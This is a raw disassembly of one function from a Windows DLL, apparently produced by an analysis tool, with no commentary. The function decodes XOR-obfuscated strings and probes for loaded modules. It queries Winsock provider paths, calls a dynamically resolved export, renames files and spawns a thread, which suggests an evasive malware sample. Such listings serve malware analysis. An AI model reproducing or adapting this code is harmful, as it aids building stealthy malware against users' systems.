Function at 0x180003650
Capabilities:
Create thread
Move file
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x10], rdx
mov word [rsp + 8], cx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
mov r12, r9
mov r15, r8
movabs rdi, 0x80e631d07720dec3
mov qword [rsp + 0x40], rdi
movabs rbx, 0xbdc1be713343bc84
mov qword [rsp + 0x48], rbx
movabs rax, 0xf85494ea4160566d
mov qword [rsp + 0x50], rax
movabs r13, 0x8108074b74aaed76
mov qword [rsp + 0x58], r13
movabs r14, 0xe38f47a212739b81
mov qword [rsp + 0x70], r14
movabs rax, 0xc5a49045053be3e1
mov qword [rsp + 0x78], rax
movabs rax, 0xf85494ea41605608
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], r13
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
xorps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
movabs rsi, 0xdf835cb1304cad97
mov qword [rsp + 0x40], rsi
movabs rax, 0xbdc1db09566dffd1
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x70], rsi
movabs rax, 0xbdc1db09566df7de
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
movabs rax, 0xf85494ea4160566d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r13
movabs rax, 0xe1846ea2134cbdb6
mov qword [rsp + 0x70], rax
movabs rax, 0xc8aecc16562fc8f0
mov qword [rsp + 0x78], rax
movabs rax, 0x9d7af88d1e133203
mov qword [rbp - 0x80], rax
movabs rax, 0x8108074b74aa880e
mov qword [rbp - 0x78], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
xorps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x70], rsi
movabs rax, 0xbdc1db09566df9c6
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
movabs rax, 0xf8831fb30153b5b9
mov qword [rsp + 0x70], rax
movabs rax, 0xbdc1be713343bce1
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
movabs rax, 0xe78444801445a686
mov qword [rsp + 0x70], rax
movabs rax, 0xbdc1be71563bd9aa
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x70], r14
movabs rax, 0xbdc1be144b2692e1
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180004152
cmp dword [r15 + 0x28], 1
jle 0x180003993
lea rcx, [rbp - 0x60]
call fcn.180002080
mov r13, rax
mov r8d, dword [r15 + 0x30]
xor ebx, ebx
mov edx, ebx
mov r9d, dword [rbp - 0x60]
test r9d, r9d
jle 0x180003993
lea rcx, [rax + 0x24]
nop dword [rax]
cmp dword [rcx], r8d
je 0x18000399d
inc edx
add rcx, 0x274
cmp edx, r9d
jl 0x180003980
mov eax, 0x277a
jmp 0x180004154
movsxd rax, edx
imul rcx, rax, 0x274
add rcx, r13
lea rax, [rbp + 0x240]
mov r8d, 4
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x1800039c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
cmp edx, r9d
jge 0x180003993
mov dword [rbp - 0x5c], 0x104
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x5c]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x254]
call qword [sym.imp.WS2_32.dll_WSCGetProviderPath]
cmp eax, 0xffffffff
je 0x180003993
mov r8d, 0x104
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x180003993
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov rsi, 0xffffffffffffffff
mov r9d, esi
lea r8, [rbp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
lea ecx, [rax + 1]
movsxd rbx, ecx
mov rcx, rbx
call fcn.18002e5f0
mov r14, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9d, esi
lea r8, [rbp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
mov r8, rsi
inc r8
cmp byte [r14 + r8], bl
jne 0x180003b20
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.180002c60
mov rcx, r14
call fcn.18002e234
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.180002980
mov rbx, rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x180003b95
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003b90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18002e234
mov qword [rbp - 0x80], 0
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
nop
mov dword [rsp + 0x40], 0x6390db5d
nop
mov dword [rsp + 0x44], 0xac97d87c
nop
xor byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x88
xor byte [rsp + 0x42], 0xc0
xor byte [rsp + 0x43], 0x30
xor byte [rsp + 0x44], 8
xor byte [rsp + 0x45], 0xb9
xor byte [rsp + 0x46], 0xe5
xor byte [rsp + 0x47], 0xd8
mov word [rsp + 0x48], 0x7075
mov byte [rsp + 0x4a], 0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp + 0x240]
cmp dword [rbp + 0x268], 1
cmovne r8, r15
movups xmm0, xmmword [r12]
movaps xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [r12 + 0x10]
movaps xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [r12 + 0x20]
movaps xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [r12 + 0x30]
movaps xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [r12 + 0x40]
movaps xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [r12 + 0x50]
movaps xmmword [rbp], xmm1
movups xmm0, xmmword [r12 + 0x60]
movaps xmmword [rbp + 0x10], xmm0
movsd xmm1, qword [r12 + 0x70]
movsd qword [rbp + 0x20], xmm1
mov rbx, qword [rbp + 0x520]
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x50]
mov rdx, qword [rbp + 0x508]
movzx ecx, word [rbp + 0x500]
call rax
mov r12d, eax
lea rcx, [0x180055ad0]
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rbx + 0x70]
movups xmmword [rcx - 0x10], xmm1
sub rbx, 0xffffffffffffff80
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rcx + 0x60], xmm0
nop
mov dword [rsp + 0x40], 0x6b7785e2
nop
mov dword [rsp + 0x44], 0xa76ae48a
nop
xor byte [rsp + 0x40], 0xb6
xor byte [rsp + 0x41], 0xf6
xor byte [rsp + 0x42], 0x1b
xor byte [rsp + 0x43], 0x2c
xor byte [rsp + 0x44], 0xeb
xor byte [rsp + 0x45], 0x89
xor byte [rsp + 0x46], 0xf
xor byte [rsp + 0x47], 0x89
mov dword [rsp + 0x48], 0x657865
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180004144
movabs rax, 0x80e631d07720dec3
mov qword [rsp + 0x40], rax
movabs rbx, 0xbdc1be713343bc84
mov qword [rsp + 0x48], rbx
movabs rax, 0xf85494ea4160566d
mov qword [rsp + 0x50], rax
movabs rax, 0x8108074b74aaed76
mov qword [rsp + 0x58], rax
movabs rax, 0xda125b0ca8df9747
mov qword [rsp + 0x60], rax
movabs rax, 0xc888db0d6b5438c8
mov qword [rsp + 0x68], rax
movabs rcx, 0xf39454a3227ce480
mov qword [rsp + 0x70], rcx
movabs rcx, 0xe1a2d71d5136ecd8
mov qword [rsp + 0x78], rcx
movabs rcx, 0x8f20c88928132320
mov qword [rbp - 0x80], rcx
movabs rcx, 0xe526337d2bc48417
mov qword [rbp - 0x78], rcx
movabs rcx, 0xda125b0ca8dffb2b
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x80]
movups xmm2, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmm1
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmm2
movdqa xmmword [rbp - 0x70], xmm1
lea rax, [rsp + 0x70]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x180003e44
lea rdx, [rsp + 0x70]
lea r14, [0x180055100]
mov rcx, r14
call fcn.180004570
lea rcx, [rsp + 0x70]
call fcn.180002ae0
mov r9, rax
mov rdi, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x180003e7d
mov r9, qword [rax]
mov r15, qword [0x180055110]
mov rcx, qword [0x180055118]
mov rax, rcx
sub rax, r15
cmp rdi, rax
ja 0x180003ed4
lea rax, [rdi + r15]
mov qword [0x180055110], rax
mov rbx, r14
cmp rcx, 0xf
cmova rbx, qword [0x180055100]
lea rcx, [rbx + r15]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
mov byte [rax + r15], 0
movabs rbx, 0xbdc1be713343bc84
jmp 0x180003ee4
mov qword [rsp + 0x20], rdi
mov rdx, rdi
mov rcx, r14
call fcn.180004aa0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x180003f30
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003f1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18002e234
nop dword [rax]
nop word [rax + rax]
movabs r15, 0x80e631d07720dec3
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rbx
movabs rax, 0x80e631d01b4cbaed
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rax, [rsp + 0x40]
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], 0
jne 0x180003f71
mov rcx, qword [0x180055110]
mov rdx, qword [0x180055118]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x180003fd0
lea rax, [rcx + rdi]
mov qword [0x180055110], rax
mov rbx, r14
cmp rdx, 0xf
cmova rbx, qword [0x180055100]
add rbx, rcx
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
movabs rbx, 0xbdc1be713343bc84
jmp 0x180003fe5
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x40]
mov rdx, rdi
mov rcx, r14
call fcn.180004aa0
cmp qword [0x180055118], 0xf
cmova r14, qword [0x180055100]
mov qword [0x1800550a0], r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rbx
movabs rax, 0xf85494ea4160566d
mov qword [rsp + 0x50], rax
movabs rax, 0x8108074b74aaed76
mov qword [rsp + 0x58], rax
movabs rax, 0xda125b0ca8df9747
mov qword [rsp + 0x60], rax
movabs rax, 0xc888db0d6b5438c8
mov qword [rsp + 0x68], rax
movabs rcx, 0xf39454a3227ce480
mov qword [rsp + 0x70], rcx
movabs rcx, 0xe1a2d71d5136ecd8
mov qword [rsp + 0x78], rcx
movabs rcx, 0x8f20c88928132320
mov qword [rbp - 0x80], rcx
movabs rcx, 0xe526337d2bc48417
mov qword [rbp - 0x78], rcx
movabs rcx, 0xda125b0ca8dffb2b
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rax
movups xmm1, xmmword [rsp + 0x70]
movups xmm2, xmmword [rbp - 0x80]
movups xmm3, xmmword [rbp - 0x70]
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmm1
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmm2
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmm3
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [rsp + 0x70]
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1800040d0
mov r8, rsi
lea rdx, [rsp + 0x70]
lea rbx, [0x1800550e0]
mov rcx, rbx
call fcn.180004570
cmp qword [0x1800550f8], 0xf
cmova rbx, qword [0x1800550e0]
mov qword [0x1800550a8], rbx
mov rdx, qword [0x1800550a0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
call fcn.180002d70
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
lea r8, [0x180002100]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, r12d
jmp 0x180004154
xor eax, eax
mov rbx, qword [rsp + 0x610]
add rsp, 0x5c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret